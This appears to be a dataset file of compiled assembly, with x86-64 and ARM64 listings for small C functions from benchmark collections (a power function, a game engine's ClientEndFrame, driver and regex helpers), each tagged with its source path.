ft_pow LCPI1_0: .long 1 ## 0x1 .long 1 ## 0x1 .long 1 ## 0x1 .long 1 ## 0x1 .section __TEXT,__text,regular,pure_instructions .globl _ft_pow .p2align 4, 0x90 _ft_pow: ## @ft_pow .cfi_startproc ## %bb.0: movl $1, %eax testl %esi, %esi jle LBB1_12 ## %bb.1: cmpl $8, %esi jb LBB1_10 ## %bb.2: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %esi, %r8d andl $-8, %r8d movd %edi, %xmm0 pshufd $0, %xmm0, %xmm0 ## xmm0 = xmm0[0,0,0,0] leal -8(%r8), %ecx movl %ecx, %edx shrl $3, %edx incl %edx movl %edx, %eax andl $7, %eax cmpl $56, %ecx jae LBB1_4 ## %bb.3: movdqa LCPI1_0(%rip), %xmm1 ## xmm1 = [1,1,1,1] movdqa %xmm1, %xmm2 jmp LBB1_6 LBB1_4: andl $-8, %edx movdqa LCPI1_0(%rip), %xmm1 ## xmm1 = [1,1,1,1] movdqa %xmm1, %xmm2 .p2align 4, 0x90 LBB1_5: ## =>This Inner Loop Header: Depth=1 pmulld %xmm0, %xmm1 pmulld %xmm0, %xmm2 pmulld %xmm0, %xmm1 pmulld %xmm0, %xmm2 pmulld %xmm0, %xmm1 pmulld %xmm0, %xmm2 pmulld %xmm0, %xmm1 pmulld %xmm0, %xmm2 pmulld %xmm0, %xmm1 pmulld %xmm0, %xmm2 pmulld %xmm0, %xmm1 pmulld %xmm0, %xmm2 pmulld %xmm0, %xmm1 pmulld %xmm0, %xmm2 pmulld %xmm0, %xmm1 pmulld %xmm0, %xmm2 addl $-8, %edx jne LBB1_5 LBB1_6: testl %eax, %eax popq %rbp je LBB1_8 .p2align 4, 0x90 LBB1_7: ## =>This Inner Loop Header: Depth=1 pmulld %xmm0, %xmm1 pmulld %xmm0, %xmm2 decl %eax jne LBB1_7 LBB1_8: pmulld %xmm2, %xmm1 pshufd $238, %xmm1, %xmm0 ## xmm0 = xmm1[2,3,2,3] pmulld %xmm1, %xmm0 pshufd $85, %xmm0, %xmm1 ## xmm1 = xmm0[1,1,1,1] pmulld %xmm0, %xmm1 movd %xmm1, %eax cmpl %esi, %r8d je LBB1_12 ## %bb.9: andl $7, %esi LBB1_10: incl %esi .p2align 4, 0x90 LBB1_11: ## =>This Inner Loop Header: Depth=1 imull %edi, %eax decl %esi cmpl $1, %esi ja LBB1_11 LBB1_12: retq .cfi_endproc ## -- End function .globl _position_in_base ## -- Begin function position_in_base .p2align 4, 0x90 _position_in_base: ## @position_in_base .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $-1, %ecx .p2align 4, 0x90 LBB2_1: ## =>This Inner Loop Header: Depth=1 movzbl (%rsi), %edx incl %ecx cmpb %dil, %dl je LBB2_3 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 incq %rsi testb %dl, %dl jne LBB2_1 LBB2_3: xorl %eax, %eax cmpb $1, %dl sbbl %eax, %eax orl %ecx, %eax popq %rbp retq .cfi_endproc ## -- End function .globl _some_strlen ## -- Begin function some_strlen .p2align 4, 0x90 _some_strlen: ## @some_strlen .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $-1, %eax .p2align 4, 0x90 LBB3_1: ## =>This Inner Loop Header: Depth=1 incl %eax cmpb $0, (%rdi) leaq 1(%rdi), %rdi jne LBB3_1 ## %bb.2: popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _check_base ; -- Begin function check_base .p2align 2 _check_base: ; @check_base .cfi_startproc ; %bb.0: mov x8, #0 add x9, x0, #1 mov w10, #1 mov x11, #15872 movk x11, #10241, lsl #32 b LBB0_2 LBB0_1: ; in Loop: Header=BB0_2 Depth=1 add x8, x8, #1 LBB0_2: ; =>This Loop Header: Depth=1 ; Child Loop BB0_8 Depth 2 ldrb w12, [x0, x8] cmp w12, #45 b.hi LBB0_5 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 lsl x13, x10, x12 tst x13, x11 b.ne LBB0_10 ; %bb.4: ; in Loop: Header=BB0_2 Depth=1 cbz x12, LBB0_11 LBB0_5: ; in Loop: Header=BB0_2 Depth=1 ldrb w13, [x0] cbz w13, LBB0_1 ; %bb.6: ; in Loop: Header=BB0_2 Depth=1 mov x14, #0 b LBB0_8 LBB0_7: ; in Loop: Header=BB0_8 Depth=2 ldrb w13, [x9, x14] add x14, x14, #1 cbz w13, LBB0_1 LBB0_8: ; Parent Loop BB0_2 Depth=1 ; => This Inner Loop Header: Depth=2 cmp x8, x14 b.eq LBB0_7 ; %bb.9: ; in Loop: Header=BB0_8 Depth=2 cmp w13, w12 b.ne LBB0_7 LBB0_10: mov w0, #0 ret LBB0_11: tst x8, #0xfffffffe cset w0, ne ret .cfi_endproc ; -- End function .globl _ft_pow ; -- Begin function ft_pow .p2align 2 _ft_pow: ; @ft_pow .cfi_startproc ; %bb.0: cmp w1, #1 b.lt LBB1_3 ; %bb.1: cmp w1, #16 b.hs LBB1_4 ; %bb.2: mov w8, #1 mov x9, x1 b LBB1_7 LBB1_3: mov w0, #1 ret LBB1_4: and w10, w1, #0xfffffff0 dup.4s v1, w0 and w9, w1, #0xf movi.4s v0, #1 mov x8, x10 movi.4s v2, #1 movi.4s v3, #1 movi.4s v4, #1 LBB1_5: ; =>This Inner Loop Header: Depth=1 mul.4s v0, v0, v1 mul.4s v2, v2, v1 mul.4s v3, v3, v1 mul.4s v4, v4, v1 subs w8, w8, #16 b.ne LBB1_5 ; %bb.6: mul.4s v0, v2, v0 mul.4s v0, v3, v0 mul.4s v0, v4, v0 ext.16b v1, v0, v0, #8 mul.2s v0, v0, v1 fmov w8, s0 mov.s w11, v0[1] mul w8, w8, w11 cmp w10, w1 b.eq LBB1_9 LBB1_7: add w9, w9, #1 LBB1_8: ; =>This Inner Loop Header: Depth=1 mul w8, w8, w0 sub w9, w9, #1 cmp w9, #1 b.hi LBB1_8 LBB1_9: mov x0, x8 ret .cfi_endproc ; -- End function .globl _position_in_base ; -- Begin function position_in_base .p2align 2 _position_in_base: ; @position_in_base .cfi_startproc ; %bb.0: and w9, w0, #0xff mov w8, #-1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldrb w10, [x1], #1 add w8, w8, #1 cmp w10, w9 ccmp w10, #0, #4, ne b.ne LBB2_1 ; %bb.2: cmp w10, #0 csinv w0, w8, wzr, ne ret .cfi_endproc ; -- End function .globl _some_strlen ; -- Begin function some_strlen .p2align 2 _some_strlen: ; @some_strlen .cfi_startproc ; %bb.0: mov x8, x0 mov w0, #-1 LBB3_1: ; =>This Inner Loop Header: Depth=1 ldrb w9, [x8], #1 add w0, w0, #1 cbnz w9, LBB3_1 ; %bb.2: ret .cfi_endproc ; -- End function .subsections_via_symbols
the_stack_data/97012674.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function vpm_write_address _vpm_write_address: ## @vpm_write_address .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl %esi, %ebx movq %rdi, %r14 movzbl %bl, %edx xorl %esi, %esi callq _cpld_write_reg shrl $8, %ebx andl $1, %ebx movq %r14, %rdi movl $1, %esi movl %ebx, %edx popq %rbx popq %r14 popq %rbp jmp _cpld_write_reg ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _vpm_write_address .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function vpm_write_address _vpm_write_address: ; @vpm_write_address .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x1 mov x20, x0 and w2, w1, #0xff mov w1, #0 bl _cpld_write_reg ubfx w2, w19, #8, #1 mov x0, x20 mov w1, #1 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _cpld_write_reg .cfi_endproc ; -- End function .no_dead_strip _vpm_write_address .subsections_via_symbols
AnghaBench/linux/drivers/isdn/hardware/mISDN/extr_hfcmulti.c_vpm_write_address.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: mov w0, #0 ret .cfi_endproc ; -- End function .subsections_via_symbols
the_stack_data/103266153.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ClientEndFrame ## -- Begin function ClientEndFrame .p2align 4, 0x90 _ClientEndFrame: ## @ClientEndFrame .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdi, %rbx movq 8(%rdi), %rax movq 56(%rax), %rcx movq _TEAM_SPECTATOR@GOTPCREL(%rip), %rdx cmpq (%rdx), %rcx jne LBB0_1 ## %bb.4: movq %rbx, %rdi popq %rbx popq %r14 popq %rbp jmp _SpectatorClientEndFrame ## TAILCALL LBB0_1: movq _MAX_POWERUPS@GOTPCREL(%rip), %rcx movl (%rcx), %r8d testl %r8d, %r8d jle LBB0_14 ## %bb.2: movq 16(%rax), %rax cmpl $1, %r8d jne LBB0_5 ## %bb.3: xorl %edx, %edx LBB0_11: testb $1, %r8b je LBB0_14 ## %bb.12: movq (%rax,%rdx,8), %rcx movq _level@GOTPCREL(%rip), %rsi cmpq (%rsi), %rcx jge LBB0_14 ## %bb.13: movq $0, (%rax,%rdx,8) LBB0_14: movq _level@GOTPCREL(%rip), %r14 cmpq $0, 8(%r14) je LBB0_15 ## %bb.22: popq %rbx popq %r14 popq %rbp retq LBB0_15: movq %rbx, %rdi callq _P_WorldEffects movq %rbx, %rdi callq _P_DamageFeedback movq (%r14), %rdx movq 8(%rbx), %rax movslq 8(%rax), %rcx subq %rcx, %rdx movq _EF_CONNECTION@GOTPCREL(%rip), %rcx movl (%rcx), %ecx cmpq $1001, %rdx ## imm = 0x3E9 jl LBB0_17 ## %bb.16: orl %ecx, 44(%rax) jmp LBB0_18 LBB0_5: movl %r8d, %esi andl $-2, %esi xorl %edx, %edx movq _level@GOTPCREL(%rip), %rdi jmp LBB0_6 .p2align 4, 0x90 LBB0_10: ## in Loop: Header=BB0_6 Depth=1 addq $2, %rdx cmpq %rdx, %rsi je LBB0_11 LBB0_6: ## =>This Inner Loop Header: Depth=1 movq (%rax,%rdx,8), %rcx cmpq (%rdi), %rcx jge LBB0_8 ## %bb.7: ## in Loop: Header=BB0_6 Depth=1 movq $0, (%rax,%rdx,8) LBB0_8: ## in Loop: Header=BB0_6 Depth=1 movq 8(%rax,%rdx,8), %rcx cmpq (%rdi), %rcx jge LBB0_10 ## %bb.9: ## in Loop: Header=BB0_6 Depth=1 movq $0, 8(%rax,%rdx,8) jmp LBB0_10 LBB0_17: notl %ecx andl %ecx, 44(%rax) LBB0_18: movq (%rbx), %rcx movq 24(%rax), %rax movq _STAT_HEALTH@GOTPCREL(%rip), %rdx movq (%rdx), %rdx movq %rcx, (%rax,%rdx,8) movq %rbx, %rdi callq _G_SetClientSound movq _g_smoothClients@GOTPCREL(%rip), %rcx movq 8(%rbx), %rax leaq 16(%rax), %rdi leaq 16(%rbx), %rsi cmpq $0, (%rcx) je LBB0_20 ## %bb.19: movl 40(%rax), %edx movq _qtrue@GOTPCREL(%rip), %rax movl (%rax), %ecx callq _BG_PlayerStateToEntityStateExtraPolate jmp LBB0_21 LBB0_20: movq _qtrue@GOTPCREL(%rip), %rax movl (%rax), %edx callq _BG_PlayerStateToEntityState LBB0_21: movq 8(%rbx), %rdi addq $16, %rdi popq %rbx popq %r14 popq %rbp jmp _SendPendingPredictableEvents ## TAILCALL .cfi_endproc ## -- End function .comm _TEAM_SPECTATOR,8,3 ## @TEAM_SPECTATOR .comm _MAX_POWERUPS,4,2 ## @MAX_POWERUPS .comm _level,16,3 ## @level .comm _EF_CONNECTION,4,2 ## @EF_CONNECTION .comm _STAT_HEALTH,8,3 ## @STAT_HEALTH .comm _g_smoothClients,8,3 ## @g_smoothClients .comm _qtrue,4,2 ## @qtrue .comm _PM_NORMAL,8,3 ## @PM_NORMAL .comm _PW_AMMOREGEN,8,3 ## @PW_AMMOREGEN .comm _PW_DOUBLER,8,3 ## @PW_DOUBLER .comm _PW_GUARD,8,3 ## @PW_GUARD .comm _PW_INVULNERABILITY,8,3 ## @PW_INVULNERABILITY .comm _PW_SCOUT,8,3 ## @PW_SCOUT .comm _STAT_PERSISTANT_POWERUP,8,3 ## @STAT_PERSISTANT_POWERUP .comm _bg_itemlist,8,3 ## @bg_itemlist .comm _g_synchronousClients,8,3 ## @g_synchronousClients .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ClientEndFrame ; -- Begin function ClientEndFrame .p2align 2 _ClientEndFrame: ; @ClientEndFrame .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr x9, [x0, #8] ldr x8, [x9, #56] Lloh0: adrp x10, _TEAM_SPECTATOR@GOTPAGE Lloh1: ldr x10, [x10, _TEAM_SPECTATOR@GOTPAGEOFF] Lloh2: ldr x10, [x10] cmp x8, x10 b.ne LBB0_2 ; %bb.1: mov x0, x19 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _SpectatorClientEndFrame LBB0_2: Lloh3: adrp x8, _MAX_POWERUPS@GOTPAGE Lloh4: ldr x8, [x8, _MAX_POWERUPS@GOTPAGEOFF] Lloh5: ldr w8, [x8] Lloh6: adrp x20, _level@GOTPAGE Lloh7: ldr x20, [x20, _level@GOTPAGEOFF] cmp w8, #1 b.lt LBB0_29 ; %bb.3: ldr x9, [x9, #16] cmp w8, #8 b.lo LBB0_23 ; %bb.4: add x10, x9, x8, lsl #3 add x11, x20, #8 cmp x9, x11 ccmp x10, x20, #0, lo b.hi LBB0_23 ; %bb.5: and x10, x8, #0xfffffff8 ld1r.2d { v0 }, [x20] add x11, x9, #32 mov x12, x10 b LBB0_7 LBB0_6: ; in Loop: Header=BB0_7 Depth=1 add x11, x11, #64 subs x12, x12, #8 b.eq LBB0_28 LBB0_7: ; =>This Inner Loop Header: Depth=1 ldur q2, [x11, #-32] ldr d1, [x20] cmgt.2d v2, v0, v2 xtn.2s v2, v2 fmov w13, s2 tbz w13, #0, LBB0_9 ; %bb.8: ; in Loop: Header=BB0_7 Depth=1 stur xzr, [x11, #-32] LBB0_9: ; in Loop: Header=BB0_7 Depth=1 mov.s w13, v2[1] tbz w13, #0, LBB0_11 ; %bb.10: ; in Loop: Header=BB0_7 Depth=1 stur xzr, [x11, #-24] LBB0_11: ; in Loop: Header=BB0_7 Depth=1 ldur q2, [x11, #-16] cmgt.2d v2, v0, v2 xtn.2s v2, v2 fmov w13, s2 tbz w13, #0, LBB0_13 ; %bb.12: ; in Loop: Header=BB0_7 Depth=1 stur xzr, [x11, #-16] LBB0_13: ; in Loop: Header=BB0_7 Depth=1 mov.s w13, v2[1] tbz w13, #0, LBB0_15 ; %bb.14: ; in Loop: Header=BB0_7 Depth=1 stur xzr, [x11, #-8] LBB0_15: ; in Loop: Header=BB0_7 Depth=1 ldr q2, [x11] cmgt.2d v2, v0, v2 xtn.2s v2, v2 fmov w13, s2 tbz w13, #0, LBB0_17 ; %bb.16: ; in Loop: Header=BB0_7 Depth=1 str xzr, [x11] LBB0_17: ; in Loop: Header=BB0_7 Depth=1 mov.s w13, v2[1] tbz w13, #0, LBB0_19 ; %bb.18: ; in Loop: Header=BB0_7 Depth=1 str xzr, [x11, #8] LBB0_19: ; in Loop: Header=BB0_7 Depth=1 ldr q2, [x11, #16] dup.2d v1, v1[0] cmgt.2d v1, v1, v2 xtn.2s v1, v1 fmov w13, s1 tbz w13, #0, LBB0_21 ; %bb.20: ; in Loop: Header=BB0_7 Depth=1 str xzr, [x11, #16] LBB0_21: ; in Loop: Header=BB0_7 Depth=1 mov.s w13, v1[1] tbz w13, #0, LBB0_6 ; %bb.22: ; in Loop: Header=BB0_7 Depth=1 str xzr, [x11, #24] b LBB0_6 LBB0_23: mov x10, #0 LBB0_24: add x9, x9, x10, lsl #3 sub x8, x8, x10 b LBB0_26 LBB0_25: ; in Loop: Header=BB0_26 Depth=1 add x9, x9, #8 subs x8, x8, #1 b.eq LBB0_29 LBB0_26: ; =>This Inner Loop Header: Depth=1 ldr x10, [x9] ldr x11, [x20] cmp x10, x11 b.ge LBB0_25 ; %bb.27: ; in Loop: Header=BB0_26 Depth=1 str xzr, [x9] b LBB0_25 LBB0_28: cmp x10, x8 b.ne LBB0_24 LBB0_29: ldr x8, [x20, #8] cbz x8, LBB0_31 ; %bb.30: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret LBB0_31: mov x0, x19 bl _P_WorldEffects mov x0, x19 bl _P_DamageFeedback ldr x9, [x20] ldr x8, [x19, #8] ldrsw x10, [x8, #8] sub x10, x9, x10 Lloh8: adrp x9, _EF_CONNECTION@GOTPAGE Lloh9: ldr x9, [x9, _EF_CONNECTION@GOTPAGEOFF] Lloh10: ldr w9, [x9] cmp x10, #1001 b.lt LBB0_33 ; %bb.32: ldr w10, [x8, #44] orr w9, w10, w9 b LBB0_34 LBB0_33: ldr w10, [x8, #44] bic w9, w10, w9 LBB0_34: str w9, [x8, #44] ldr x9, [x19] ldr x8, [x8, #24] Lloh11: adrp x10, _STAT_HEALTH@GOTPAGE Lloh12: ldr x10, [x10, _STAT_HEALTH@GOTPAGEOFF] Lloh13: ldr x10, [x10] str x9, [x8, x10, lsl #3] mov x0, x19 bl _G_SetClientSound Lloh14: adrp x8, _g_smoothClients@GOTPAGE Lloh15: ldr x8, [x8, _g_smoothClients@GOTPAGEOFF] Lloh16: ldr x9, [x8] ldr x8, [x19, #8] add x0, x8, #16 add x1, x19, #16 cbz x9, LBB0_36 ; %bb.35: ldr w2, [x8, #40] Lloh17: adrp x8, _qtrue@GOTPAGE Lloh18: ldr x8, [x8, _qtrue@GOTPAGEOFF] Lloh19: ldr w3, [x8] bl _BG_PlayerStateToEntityStateExtraPolate b LBB0_37 LBB0_36: Lloh20: adrp x8, _qtrue@GOTPAGE Lloh21: ldr x8, [x8, _qtrue@GOTPAGEOFF] Lloh22: ldr w2, [x8] bl _BG_PlayerStateToEntityState LBB0_37: ldr x8, [x19, #8] add x0, x8, #16 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _SendPendingPredictableEvents .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22 .cfi_endproc ; -- End function .comm _TEAM_SPECTATOR,8,3 ; @TEAM_SPECTATOR .comm _MAX_POWERUPS,4,2 ; @MAX_POWERUPS .comm _level,16,3 ; @level .comm _EF_CONNECTION,4,2 ; @EF_CONNECTION .comm _STAT_HEALTH,8,3 ; @STAT_HEALTH .comm _g_smoothClients,8,3 ; @g_smoothClients .comm _qtrue,4,2 ; @qtrue .comm _PM_NORMAL,8,3 ; @PM_NORMAL .comm _PW_AMMOREGEN,8,3 ; @PW_AMMOREGEN .comm _PW_DOUBLER,8,3 ; @PW_DOUBLER .comm _PW_GUARD,8,3 ; @PW_GUARD .comm _PW_INVULNERABILITY,8,3 ; @PW_INVULNERABILITY .comm _PW_SCOUT,8,3 ; @PW_SCOUT .comm _STAT_PERSISTANT_POWERUP,8,3 ; @STAT_PERSISTANT_POWERUP .comm _bg_itemlist,8,3 ; @bg_itemlist .comm _g_synchronousClients,8,3 ; @g_synchronousClients .subsections_via_symbols
AnghaBench/lab/engine/code/game/extr_g_active.c_ClientEndFrame.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _clk_get_rate ## -- Begin function clk_get_rate .p2align 4, 0x90 _clk_get_rate: ## @clk_get_rate .cfi_startproc ## %bb.0: testq %rdi, %rdi je LBB0_1 ## %bb.2: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq (%rdi), %rax popq %rbp retq LBB0_1: xorl %eax, %eax retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _clk_get_rate ; -- Begin function clk_get_rate .p2align 2 _clk_get_rate: ; @clk_get_rate .cfi_startproc ; %bb.0: cbz x0, LBB0_2 ; %bb.1: ldr x0, [x0] LBB0_2: ret .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/linux/arch/mips/ralink/extr_clk.c_clk_get_rate.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function mcadd _mcadd: ## @mcadd .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r14 movq %rsi, %rbx movq (%rsi), %r15 movq %rdx, %rdi callq _strlen leaq (%r15,%rax), %rsi incq %rsi movq %rsi, (%rbx) movq 8(%rbx), %rdi callq _realloc testq %rax, %rax je LBB0_1 ## %bb.4: movq %rax, 8(%rbx) leaq (%rax,%r15,4), %rdi addq $-4, %rdi movq (%rbx), %rdx subq %r15, %rdx incq %rdx movq %r14, %rsi addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp jmp _strlcpy ## TAILCALL LBB0_1: movq 8(%rbx), %rdi testq %rdi, %rdi je LBB0_3 ## %bb.2: callq _free LBB0_3: movq $0, 8(%rbx) movq _REG_ESPACE@GOTPCREL(%rip), %rax movl (%rax), %edi addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp jmp _SETERROR ## TAILCALL .cfi_endproc ## -- End function .comm _REG_ESPACE,4,2 ## @REG_ESPACE .no_dead_strip _mcadd .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function mcadd _mcadd: ; @mcadd .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x20, x2 mov x19, x1 ldr x21, [x1] mov x0, x2 bl _strlen add x8, x21, x0 add x1, x8, #1 str x1, [x19] ldr x0, [x19, #8] bl _realloc cbz x0, LBB0_2 ; %bb.1: str x0, [x19, #8] add x8, x0, x21, lsl #2 sub x0, x8, #4 ldr x8, [x19] sub x8, x8, x21 add x2, x8, #1 mov x1, x20 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _strlcpy LBB0_2: ldr x0, [x19, #8] cbz x0, LBB0_4 ; %bb.3: bl _free LBB0_4: str xzr, [x19, #8] Lloh0: adrp x8, _REG_ESPACE@GOTPAGE Lloh1: ldr x8, [x8, _REG_ESPACE@GOTPAGEOFF] Lloh2: ldr w0, [x8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _SETERROR .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _REG_ESPACE,4,2 ; @REG_ESPACE .no_dead_strip _mcadd .subsections_via_symbols
AnghaBench/freebsd/contrib/nvi/regex/extr_regcomp.c_mcadd.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _mbfl_filt_ident_2022jpms ## -- Begin function mbfl_filt_ident_2022jpms .p2align 4, 0x90 _mbfl_filt_ident_2022jpms: ## @mbfl_filt_ident_2022jpms .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, %eax movl (%rsi), %ecx movl %edi, %r8d andl $-3, %r8d leaq LJTI0_0(%rip), %rdi jmp LBB0_2 .p2align 4, 0x90 LBB0_1: ## in Loop: Header=BB0_2 Depth=1 movl $1, 4(%rsi) andl $-16, %ecx movl %ecx, (%rsi) LBB0_2: ## =>This Inner Loop Header: Depth=1 movl %ecx, %edx andl $15, %edx cmpl $5, %edx ja LBB0_14 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 movslq (%rdi,%rdx,4), %rdx addq %rdi, %rdx jmpq *%rdx LBB0_4: ## in Loop: Header=BB0_2 Depth=1 andl $-16, %ecx movl %ecx, (%rsi) cmpl $27, %eax je LBB0_2 jmp LBB0_19 LBB0_5: ## in Loop: Header=BB0_2 Depth=1 cmpl $40, %eax je LBB0_23 ## %bb.6: ## in Loop: Header=BB0_2 Depth=1 cmpl $36, %eax jne LBB0_1 jmp LBB0_30 LBB0_7: ## in Loop: Header=BB0_2 Depth=1 cmpl $64, %r8d je LBB0_22 ## %bb.8: ## in Loop: Header=BB0_2 Depth=1 cmpl $40, %eax jne LBB0_1 jmp LBB0_30 LBB0_9: ## in Loop: Header=BB0_2 Depth=1 cmpl $64, %r8d je LBB0_22 ## %bb.10: ## in Loop: Header=BB0_2 Depth=1 cmpl $63, %eax jne LBB0_1 jmp LBB0_24 LBB0_11: ## in Loop: Header=BB0_2 Depth=1 cmpl $74, %eax je LBB0_14 ## %bb.12: ## in Loop: Header=BB0_2 Depth=1 cmpl $73, %eax je LBB0_25 ## %bb.13: ## in Loop: Header=BB0_2 Depth=1 cmpl $66, %eax jne LBB0_1 LBB0_14: movl $0, (%rsi) LBB0_15: ## kill: def $eax killed $eax killed $rax popq %rbp retq LBB0_22: movl $128, (%rsi) ## kill: def $eax killed $eax killed $rax popq %rbp retq LBB0_16: cmpl $27, %eax jne LBB0_26 ## %bb.17: addl $2, %ecx jmp LBB0_18 LBB0_19: leal -127(%rax), %ecx cmpl $-95, %ecx ja LBB0_15 LBB0_32: movl $1, 4(%rsi) ## kill: def $eax killed $eax killed $rax popq %rbp retq LBB0_23: addl $3, %ecx jmp LBB0_18 LBB0_24: movl $160, (%rsi) ## kill: def $eax killed $eax killed $rax popq %rbp retq LBB0_25: movl $32, (%rsi) ## kill: def $eax killed $eax killed $rax popq %rbp retq LBB0_26: leal -33(%rax), %edx cmpl $128, %ecx jne LBB0_28 ## %bb.27: cmpl $94, %edx jbe LBB0_30 jmp LBB0_31 LBB0_28: cmpl $94, %edx ja LBB0_31 ## %bb.29: cmpl $160, %ecx jne LBB0_31 LBB0_30: incl %ecx LBB0_18: movl %ecx, (%rsi) ## kill: def $eax killed $eax killed $rax popq %rbp retq LBB0_31: cmpl $128, %eax jb LBB0_15 jmp LBB0_32 .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_16, LBB0_16-LJTI0_0 .set L0_0_set_4, LBB0_4-LJTI0_0 .set L0_0_set_5, LBB0_5-LJTI0_0 .set L0_0_set_7, LBB0_7-LJTI0_0 .set L0_0_set_9, LBB0_9-LJTI0_0 .set L0_0_set_11, LBB0_11-LJTI0_0 LJTI0_0: .long L0_0_set_16 .long L0_0_set_4 .long 